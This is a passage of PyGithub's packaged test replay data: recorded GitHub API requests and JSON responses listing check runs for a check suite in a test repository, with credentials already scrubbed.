PyGithub.","external_url":"https://github.com/dhruvmanila/pygithub-testing","html_url":"https://github.com/apps/test-pygithub","created_at":"2020-10-19T16:18:54Z","updated_at":"2020-10-20T03:52:02Z","permissions":{"actions":"write","checks":"write","issues":"write","metadata":"read","pull_requests":"write","workflows":"write"},"events":["check_run","check_suite","issues","issue_comment","pull_request","pull_request_review","pull_request_review_comment","workflow_run"]},"pull_requests":[]}]} https GET api.github.com None /repos/dhruvmanila/pygithub-testing/check-suites/1366665055/check-runs?check_name=Testing {'Accept': 'application/vnd.github.v3+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Fri, 27 Nov 2020 18:35:04 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"5704d63e4d53f67dabee3f79e6a77748afc2e412f1da4b0b1ffdc7008db82256"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4986'), ('X-RateLimit-Reset', '1606505666'), ('X-RateLimit-Used', '14'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'D0CA:1863:26FF7A:325AB0:5FC146D8')] {"total_count":1,"check_runs":[{"id":1278952206,"node_id":"MDg6Q2hlY2tSdW4xMjc4OTUyMjA2","head_sha":"0283d46537193f1fed7d46859f15c5304b9836f9","external_id":"","url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1278952206","html_url":"https://github.com/dhruvmanila/pygithub-testing/runs/1278952206","details_url":"https://github.com/dhruvmanila/pygithub-testing","status":"completed","conclusion":"success","started_at":"2020-10-20T04:22:04Z","completed_at":"2020-10-20T04:22:04Z","output":{"title":"Testing","summary":"This is a test for output dictionary.","text":null,"annotations_count":0,"annotations_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1278952206/annotations"},"name":"Testing","check_suite":{"id":1366665055},"app":{"id":85429,"slug":"test-pygithub","node_id":"MDM6QXBwODU0Mjk=","owner":{"login":"dhruvmanila","id":67177269,"node_id":"MDQ6VXNlcjY3MTc3MjY5","avatar_url":"https://avatars0.githubusercontent.com/u/67177269?v=4","gravatar_id":"","url":"https://api.github.com/users/dhruvmanila","html_url":"https://github.com/dhruvmanila","followers_url":"https://api.github.com/users/dhruvmanila/followers","following_url":"https://api.github.com/users/dhruvmanila/following{/other_user}","gists_url":"https://api.github.com/users/dhruvmanila/gists{/gist_id}","starred_url":"https://api.github.com/users/dhruvmanila/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dhruvmanila/subscriptions","organizations_url":"https://api.github.com/users/dhruvmanila/orgs","repos_url":"https://api.github.com/users/dhruvmanila/repos","events_url":"https://api.github.com/users/dhruvmanila/events{/privacy}","received_events_url":"https://api.github.com/users/dhruvmanila/received_events","type":"User","site_admin":false},"name":"Test PyGithub","description":"This app is made only for testing GitHub API endpoints for PyGithub.","external_url":"https://github.com/dhruvmanila/pygithub-testing","html_url":"https://github.com/apps/test-pygithub","created_at":"2020-10-19T16:18:54Z","updated_at":"2020-10-20T03:52:02Z","permissions":{"actions":"write","checks":"write","issues":"write","metadata":"read","pull_requests":"write","workflows":"write"},"events":["check_run","check_suite","issues","issue_comment","pull_request","pull_request_review","pull_request_review_comment","workflow_run"]},"pull_requests":[]}]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/CheckSuite.testGetCheckRunsFilterByFilter.txt0000644000175100001660000006070714756101563027013 0ustar00runnerdockerhttps GET api.github.com None /repos/dhruvmanila/pygithub-testing/check-suites/1366665055/check-runs?filter=all&per_page=1 {'Accept': 'application/vnd.github.v3+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Fri, 27 Nov 2020 18:35:29 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"bc5a2754dcebebac700c28bba803da668ab1fcad81e3d9c2d7752c6efe02ceab"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Link', '; rel="next", ; rel="last"'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4973'), ('X-RateLimit-Reset', '1606505666'), ('X-RateLimit-Used', '27'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'D0DD:231D:29E830:35BA27:5FC146F0')] {"total_count":8,"check_runs":[{"id":1278952206,"node_id":"MDg6Q2hlY2tSdW4xMjc4OTUyMjA2","head_sha":"0283d46537193f1fed7d46859f15c5304b9836f9","external_id":"","url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1278952206","html_url":"https://github.com/dhruvmanila/pygithub-testing/runs/1278952206","details_url":"https://github.com/dhruvmanila/pygithub-testing","status":"completed","conclusion":"success","started_at":"2020-10-20T04:22:04Z","completed_at":"2020-10-20T04:22:04Z","output":{"title":"Testing","summary":"This is a test for output dictionary.","text":null,"annotations_count":0,"annotations_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1278952206/annotations"},"name":"Testing","check_suite":{"id":1366665055},"app":{"id":85429,"slug":"test-pygithub","node_id":"MDM6QXBwODU0Mjk=","owner":{"login":"dhruvmanila","id":67177269,"node_id":"MDQ6VXNlcjY3MTc3MjY5","avatar_url":"https://avatars0.githubusercontent.com/u/67177269?v=4","gravatar_id":"","url":"https://api.github.com/users/dhruvmanila","html_url":"https://github.com/dhruvmanila","followers_url":"https://api.github.com/users/dhruvmanila/followers","following_url":"https://api.github.com/users/dhruvmanila/following{/other_user}","gists_url":"https://api.github.com/users/dhruvmanila/gists{/gist_id}","starred_url":"https://api.github.com/users/dhruvmanila/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dhruvmanila/subscriptions","organizations_url":"https://api.github.com/users/dhruvmanila/orgs","repos_url":"https://api.github.com/users/dhruvmanila/repos","events_url":"https://api.github.com/users/dhruvmanila/events{/privacy}","received_events_url":"https://api.github.com/users/dhruvmanila/received_events","type":"User","site_admin":false},"name":"Test PyGithub","description":"This app is made only for testing GitHub API endpoints for PyGithub.","external_url":"https://github.com/dhruvmanila/pygithub-testing","html_url":"https://github.com/apps/test-pygithub","created_at":"2020-10-19T16:18:54Z","updated_at":"2020-10-20T03:52:02Z","permissions":{"actions":"write","checks":"write","issues":"write","metadata":"read","pull_requests":"write","workflows":"write"},"events":["check_run","check_suite","issues","issue_comment","pull_request","pull_request_review","pull_request_review_comment","workflow_run"]},"pull_requests":[]}]} https GET api.github.com None /repos/dhruvmanila/pygithub-testing/check-suites/1366665055/check-runs?filter=all {'Accept': 'application/vnd.github.v3+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Fri, 27 Nov 2020 18:35:29 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"c93f048e21359179fc4bd4b217070b1283540720beb94c0f1a627eabbef38d67"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4972'), ('X-RateLimit-Reset', '1606505666'), ('X-RateLimit-Used', '28'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'D0DE:231D:29E835:35BA30:5FC146F1')] {"total_count":8,"check_runs":[{"id":1278952206,"node_id":"MDg6Q2hlY2tSdW4xMjc4OTUyMjA2","head_sha":"0283d46537193f1fed7d46859f15c5304b9836f9","external_id":"","url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1278952206","html_url":"https://github.com/dhruvmanila/pygithub-testing/runs/1278952206","details_url":"https://github.com/dhruvmanila/pygithub-testing","status":"completed","conclusion":"success","started_at":"2020-10-20T04:22:04Z","completed_at":"2020-10-20T04:22:04Z","output":{"title":"Testing","summary":"This is a test for output dictionary.","text":null,"annotations_count":0,"annotations_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1278952206/annotations"},"name":"Testing","check_suite":{"id":1366665055},"app":{"id":85429,"slug":"test-pygithub","node_id":"MDM6QXBwODU0Mjk=","owner":{"login":"dhruvmanila","id":67177269,"node_id":"MDQ6VXNlcjY3MTc3MjY5","avatar_url":"https://avatars0.githubusercontent.com/u/67177269?v=4","gravatar_id":"","url":"https://api.github.com/users/dhruvmanila","html_url":"https://github.com/dhruvmanila","followers_url":"https://api.github.com/users/dhruvmanila/followers","following_url":"https://api.github.com/users/dhruvmanila/following{/other_user}","gists_url":"https://api.github.com/users/dhruvmanila/gists{/gist_id}","starred_url":"https://api.github.com/users/dhruvmanila/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dhruvmanila/subscriptions","organizations_url":"https://api.github.com/users/dhruvmanila/orgs","repos_url":"https://api.github.com/users/dhruvmanila/repos","events_url":"https://api.github.com/users/dhruvmanila/events{/privacy}","received_events_url":"https://api.github.com/users/dhruvmanila/received_events","type":"User","site_admin":false},"name":"Test PyGithub","description":"This app is made only for testing GitHub API endpoints for PyGithub.","external_url":"https://github.com/dhruvmanila/pygithub-testing","html_url":"https://github.com/apps/test-pygithub","created_at":"2020-10-19T16:18:54Z","updated_at":"2020-10-20T03:52:02Z","permissions":{"actions":"write","checks":"write","issues":"write","metadata":"read","pull_requests":"write","workflows":"write"},"events":["check_run","check_suite","issues","issue_comment","pull_request","pull_request_review","pull_request_review_comment","workflow_run"]},"pull_requests":[]},{"id":1279259090,"node_id":"MDg6Q2hlY2tSdW4xMjc5MjU5MDkw","head_sha":"0283d46537193f1fed7d46859f15c5304b9836f9","external_id":"49","url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1279259090","html_url":"https://github.com/dhruvmanila/pygithub-testing/runs/1279259090","details_url":"https://www.example-url.com","status":"completed","conclusion":"success","started_at":"2020-10-20T01:10:20Z","completed_at":"2020-10-20T02:20:30Z","output":{"title":"Mighty Readme report","summary":"There are 0 failures, 2 warnings, and 1 notices.","text":null,"annotations_count":2,"annotations_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1279259090/annotations"},"name":"update_all_params","check_suite":{"id":1366665055},"app":{"id":85429,"slug":"test-pygithub","node_id":"MDM6QXBwODU0Mjk=","owner":{"login":"dhruvmanila","id":67177269,"node_id":"MDQ6VXNlcjY3MTc3MjY5","avatar_url":"https://avatars0.githubusercontent.com/u/67177269?v=4","gravatar_id":"","url":"https://api.github.com/users/dhruvmanila","html_url":"https://github.com/dhruvmanila","followers_url":"https://api.github.com/users/dhruvmanila/followers","following_url":"https://api.github.com/users/dhruvmanila/following{/other_user}","gists_url":"https://api.github.com/users/dhruvmanila/gists{/gist_id}","starred_url":"https://api.github.com/users/dhruvmanila/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dhruvmanila/subscriptions","organizations_url":"https://api.github.com/users/dhruvmanila/orgs","repos_url":"https://api.github.com/users/dhruvmanila/repos","events_url":"https://api.github.com/users/dhruvmanila/events{/privacy}","received_events_url":"https://api.github.com/users/dhruvmanila/received_events","type":"User","site_admin":false},"name":"Test PyGithub","description":"This app is made only for testing GitHub API endpoints for PyGithub.","external_url":"https://github.com/dhruvmanila/pygithub-testing","html_url":"https://github.com/apps/test-pygithub","created_at":"2020-10-19T16:18:54Z","updated_at":"2020-10-20T03:52:02Z","permissions":{"actions":"write","checks":"write","issues":"write","metadata":"read","pull_requests":"write","workflows":"write"},"events":["check_run","check_suite","issues","issue_comment","pull_request","pull_request_review","pull_request_review_comment","workflow_run"]},"pull_requests":[]},{"id":1280450752,"node_id":"MDg6Q2hlY2tSdW4xMjgwNDUwNzUy","head_sha":"0283d46537193f1fed7d46859f15c5304b9836f9","external_id":"","url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1280450752","html_url":"https://github.com/dhruvmanila/pygithub-testing/runs/1280450752","details_url":"https://github.com/dhruvmanila/pygithub-testing","status":"completed","conclusion":"success","started_at":"2020-10-20T16:04:20Z","completed_at":"2020-10-20T10:44:21Z","output":{"title":"Mighty Readme report","summary":"There are 0 failures, 3 warnings, and 1 notices.","text":null,"annotations_count":3,"annotations_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1280450752/annotations"},"name":"mighty_readme","check_suite":{"id":1366665055},"app":{"id":85429,"slug":"test-pygithub","node_id":"MDM6QXBwODU0Mjk=","owner":{"login":"dhruvmanila","id":67177269,"node_id":"MDQ6VXNlcjY3MTc3MjY5","avatar_url":"https://avatars0.githubusercontent.com/u/67177269?v=4","gravatar_id":"","url":"https://api.github.com/users/dhruvmanila","html_url":"https://github.com/dhruvmanila","followers_url":"https://api.github.com/users/dhruvmanila/followers","following_url":"https://api.github.com/users/dhruvmanila/following{/other_user}","gists_url":"https://api.github.com/users/dhruvmanila/gists{/gist_id}","starred_url":"https://api.github.com/users/dhruvmanila/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dhruvmanila/subscriptions","organizations_url":"https://api.github.com/users/dhruvmanila/orgs","repos_url":"https://api.github.com/users/dhruvmanila/repos","events_url":"https://api.github.com/users/dhruvmanila/events{/privacy}","received_events_url":"https://api.github.com/users/dhruvmanila/received_events","type":"User","site_admin":false},"name":"Test PyGithub","description":"This app is made only for testing GitHub API endpoints for PyGithub.","external_url":"https://github.com/dhruvmanila/pygithub-testing","html_url":"https://github.com/apps/test-pygithub","created_at":"2020-10-19T16:18:54Z","updated_at":"2020-10-20T03:52:02Z","permissions":{"actions":"write","checks":"write","issues":"write","metadata":"read","pull_requests":"write","workflows":"write"},"events":["check_run","check_suite","issues","issue_comment","pull_request","pull_request_review","pull_request_review_comment","workflow_run"]},"pull_requests":[]},{"id":1280914700,"node_id":"MDg6Q2hlY2tSdW4xMjgwOTE0NzAw","head_sha":"0283d46537193f1fed7d46859f15c5304b9836f9","external_id":"102","url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1280914700","html_url":"https://github.com/dhruvmanila/pygithub-testing/runs/1280914700","details_url":"https://github.com/dhruvmanila/pygithub-testing","status":"completed","conclusion":"success","started_at":"2020-10-20T10:34:15Z","completed_at":"2020-10-20T12:31:28Z","output":{"title":"Check run for testing list of annotations","summary":"This is test to get the list of annotations.","text":null,"annotations_count":2,"annotations_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1280914700/annotations"},"name":"annotations","check_suite":{"id":1366665055},"app":{"id":85429,"slug":"test-pygithub","node_id":"MDM6QXBwODU0Mjk=","owner":{"login":"dhruvmanila","id":67177269,"node_id":"MDQ6VXNlcjY3MTc3MjY5","avatar_url":"https://avatars0.githubusercontent.com/u/67177269?v=4","gravatar_id":"","url":"https://api.github.com/users/dhruvmanila","html_url":"https://github.com/dhruvmanila","followers_url":"https://api.github.com/users/dhruvmanila/followers","following_url":"https://api.github.com/users/dhruvmanila/following{/other_user}","gists_url":"https://api.github.com/users/dhruvmanila/gists{/gist_id}","starred_url":"https://api.github.com/users/dhruvmanila/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dhruvmanila/subscriptions","organizations_url":"https://api.github.com/users/dhruvmanila/orgs","repos_url":"https://api.github.com/users/dhruvmanila/repos","events_url":"https://api.github.com/users/dhruvmanila/events{/privacy}","received_events_url":"https://api.github.com/users/dhruvmanila/received_events","type":"User","site_admin":false},"name":"Test PyGithub","description":"This app is made only for testing GitHub API endpoints for PyGithub.","external_url":"https://github.com/dhruvmanila/pygithub-testing","html_url":"https://github.com/apps/test-pygithub","created_at":"2020-10-19T16:18:54Z","updated_at":"2020-10-20T03:52:02Z","permissions":{"actions":"write","checks":"write","issues":"write","metadata":"read","pull_requests":"write","workflows":"write"},"events":["check_run","check_suite","issues","issue_comment","pull_request","pull_request_review","pull_request_review_comment","workflow_run"]},"pull_requests":[]},{"id":1296027873,"node_id":"MDg6Q2hlY2tSdW4xMjk2MDI3ODcz","head_sha":"0283d46537193f1fed7d46859f15c5304b9836f9","external_id":"","url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1296027873","html_url":"https://github.com/dhruvmanila/pygithub-testing/runs/1296027873","details_url":"https://github.com/dhruvmanila/pygithub-testing","status":"completed","conclusion":"success","started_at":"2020-10-20T10:30:29Z","completed_at":"2020-10-20T11:30:50Z","output":{"title":"Readme report","summary":"There are 0 failures, 2 warnings, and 1 notices.","text":"You may have some misspelled words on lines 2 and 4.","annotations_count":2,"annotations_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1296027873/annotations"},"name":"completed_check_run","check_suite":{"id":1366665055},"app":{"id":85429,"slug":"test-pygithub","node_id":"MDM6QXBwODU0Mjk=","owner":{"login":"dhruvmanila","id":67177269,"node_id":"MDQ6VXNlcjY3MTc3MjY5","avatar_url":"https://avatars0.githubusercontent.com/u/67177269?v=4","gravatar_id":"","url":"https://api.github.com/users/dhruvmanila","html_url":"https://github.com/dhruvmanila","followers_url":"https://api.github.com/users/dhruvmanila/followers","following_url":"https://api.github.com/users/dhruvmanila/following{/other_user}","gists_url":"https://api.github.com/users/dhruvmanila/gists{/gist_id}","starred_url":"https://api.github.com/users/dhruvmanila/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dhruvmanila/subscriptions","organizations_url":"https://api.github.com/users/dhruvmanila/orgs","repos_url":"https://api.github.com/users/dhruvmanila/repos","events_url":"https://api.github.com/users/dhruvmanila/events{/privacy}","received_events_url":"https://api.github.com/users/dhruvmanila/received_events","type":"User","site_admin":false},"name":"Test PyGithub","description":"This app is made only for testing GitHub API endpoints for PyGithub.","external_url":"https://github.com/dhruvmanila/pygithub-testing","html_url":"https://github.com/apps/test-pygithub","created_at":"2020-10-19T16:18:54Z","updated_at":"2020-10-20T03:52:02Z","permissions":{"actions":"write","checks":"write","issues":"write","metadata":"read","pull_requests":"write","workflows":"write"},"events":["check_run","check_suite","issues","issue_comment","pull_request","pull_request_review","pull_request_review_comment","workflow_run"]},"pull_requests":[]},{"id":1296028076,"node_id":"MDg6Q2hlY2tSdW4xMjk2MDI4MDc2","head_sha":"0283d46537193f1fed7d46859f15c5304b9836f9","external_id":"50","url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1296028076","html_url":"https://github.com/dhruvmanila/pygithub-testing/runs/1296028076","details_url":"https://www.example.com","status":"completed","conclusion":"success","started_at":"2020-09-04T01:14:52Z","completed_at":"2020-10-23T03:05:06Z","output":{"title":"PyGithub Check Run Test","summary":"Test summary","text":null,"annotations_count":0,"annotations_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1296028076/annotations"},"name":"basic_check_run","check_suite":{"id":1366665055},"app":{"id":85429,"slug":"test-pygithub","node_id":"MDM6QXBwODU0Mjk=","owner":{"login":"dhruvmanila","id":67177269,"node_id":"MDQ6VXNlcjY3MTc3MjY5","avatar_url":"https://avatars0.githubusercontent.com/u/67177269?v=4","gravatar_id":"","url":"https://api.github.com/users/dhruvmanila","html_url":"https://github.com/dhruvmanila","followers_url":"https://api.github.com/users/dhruvmanila/followers","following_url":"https://api.github.com/users/dhruvmanila/following{/other_user}","gists_url":"https://api.github.com/users/dhruvmanila/gists{/gist_id}","starred_url":"https://api.github.com/users/dhruvmanila/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dhruvmanila/subscriptions","organizations_url":"https://api.github.com/users/dhruvmanila/orgs","repos_url":"https://api.github.com/users/dhruvmanila/repos","events_url":"https://api.github.com/users/dhruvmanila/events{/privacy}","received_events_url":"https://api.github.com/users/dhruvmanila/received_events","type":"User","site_admin":false},"name":"Test PyGithub","description":"This app is made only for testing GitHub API endpoints for PyGithub.","external_url":"https://github.com/dhruvmanila/pygithub-testing","html_url":"https://github.com/apps/test-pygithub","created_at":"2020-10-19T16:18:54Z","updated_at":"2020-10-20T03:52:02Z","permissions":{"actions":"write","checks":"write","issues":"write","metadata":"read","pull_requests":"write","workflows":"write"},"events":["check_run","check_suite","issues","issue_comment","pull_request","pull_request_review","pull_request_review_comment","workflow_run"]},"pull_requests":[]},{"id":1296029378,"node_id":"MDg6Q2hlY2tSdW4xMjk2MDI5Mzc4","head_sha":"0283d46537193f1fed7d46859f15c5304b9836f9","external_id":"101","url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1296029378","html_url":"https://github.com/dhruvmanila/pygithub-testing/runs/1296029378","details_url":"https://github.com/dhruvmanila/pygithub-testing","status":"completed","conclusion":"failure","started_at":"2020-10-20T10:14:51Z","completed_at":"2020-10-23T03:05:28Z","output":{"title":"Check run for testing failure","summary":"There is 1 whitespace error.","text":"You may have a whitespace error in the file 'test.py'","annotations_count":1,"annotations_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1296029378/annotations"},"name":"fail_check_run","check_suite":{"id":1366665055},"app":{"id":85429,"slug":"test-pygithub","node_id":"MDM6QXBwODU0Mjk=","owner":{"login":"dhruvmanila","id":67177269,"node_id":"MDQ6VXNlcjY3MTc3MjY5","avatar_url":"https://avatars0.githubusercontent.com/u/67177269?v=4","gravatar_id":"","url":"https://api.github.com/users/dhruvmanila","html_url":"https://github.com/dhruvmanila","followers_url":"https://api.github.com/users/dhruvmanila/followers","following_url":"https://api.github.com/users/dhruvmanila/following{/other_user}","gists_url":"https://api.github.com/users/dhruvmanila/gists{/gist_id}","starred_url":"https://api.github.com/users/dhruvmanila/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dhruvmanila/subscriptions","organizations_url":"https://api.github.com/users/dhruvmanila/orgs","repos_url":"https://api.github.com/users/dhruvmanila/repos","events_url":"https://api.github.com/users/dhruvmanila/events{/privacy}","received_events_url":"https://api.github.com/users/dhruvmanila/received_events","type":"User","site_admin":false},"name":"Test PyGithub","description":"This app is made only for testing GitHub API endpoints for PyGithub.","external_url":"https://github.com/dhruvmanila/pygithub-testing","html_url":"https://github.com/apps/test-pygithub","created_at":"2020-10-19T16:18:54Z","updated_at":"2020-10-20T03:52:02Z","permissions":{"actions":"write","checks":"write","issues":"write","metadata":"read","pull_requests":"write","workflows":"write"},"events":["check_run","check_suite","issues","issue_comment","pull_request","pull_request_review","pull_request_review_comment","workflow_run"]},"pull_requests":[]},{"id":1296029552,"node_id":"MDg6Q2hlY2tSdW4xMjk2MDI5NTUy","head_sha":"0283d46537193f1fed7d46859f15c5304b9836f9","external_id":"100","url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1296029552","html_url":"https://github.com/dhruvmanila/pygithub-testing/runs/1296029552","details_url":"https://github.com/dhruvmanila/pygithub-testing","status":"completed","conclusion":"success","started_at":"2020-10-20T14:24:31Z","completed_at":"2020-10-23T03:05:31Z","output":{"title":"Check run for testing edit method","summary":"This is the summary of editing check run as completed.","text":null,"annotations_count":0,"annotations_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1296029552/annotations"},"name":"edit_check_run","check_suite":{"id":1366665055},"app":{"id":85429,"slug":"test-pygithub","node_id":"MDM6QXBwODU0Mjk=","owner":{"login":"dhruvmanila","id":67177269,"node_id":"MDQ6VXNlcjY3MTc3MjY5","avatar_url":"https://avatars0.githubusercontent.com/u/67177269?v=4","gravatar_id":"","url":"https://api.github.com/users/dhruvmanila","html_url":"https://github.com/dhruvmanila","followers_url":"https://api.github.com/users/dhruvmanila/followers","following_url":"https://api.github.com/users/dhruvmanila/following{/other_user}","gists_url":"https://api.github.com/users/dhruvmanila/gists{/gist_id}","starred_url":"https://api.github.com/users/dhruvmanila/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dhruvmanila/subscriptions","organizations_url":"https://api.github.com/users/dhruvmanila/orgs","repos_url":"https://api.github.com/users/dhruvmanila/repos","events_url":"https://api.github.com/users/dhruvmanila/events{/privacy}","received_events_url":"https://api.github.com/users/dhruvmanila/received_events","type":"User","site_admin":false},"name":"Test PyGithub","description":"This app is made only for testing GitHub API endpoints for PyGithub.","external_url":"https://github.com/dhruvmanila/pygithub-testing","html_url":"https://github.com/apps/test-pygithub","created_at":"2020-10-19T16:18:54Z","updated_at":"2020-10-20T03:52:02Z","permissions":{"actions":"write","checks":"write","issues":"write","metadata":"read","pull_requests":"write","workflows":"write"},"events":["check_run","check_suite","issues","issue_comment","pull_request","pull_request_review","pull_request_review_comment","workflow_run"]},"pull_requests":[]}]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/CheckSuite.testGetCheckRunsFilterByStatus.txt0000644000175100001660000006216214756101563027046 0ustar00runnerdockerhttps GET api.github.com None /repos/dhruvmanila/pygithub-testing/check-suites/1366665055/check-runs?status=completed&per_page=1 {'Accept': 'application/vnd.github.v3+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 23 Mar 2021 05:13:22 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"bb52e434f017dd7503e67ff04bb782dbf7c5a237be757164b9954de815d40ee3"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Link', '; rel="next", ; rel="last"'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4988'), ('X-RateLimit-Reset', '1616479490'), ('X-RateLimit-Used', '12'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'CFF6:2781:A73B26:B558C9:605978F2')] 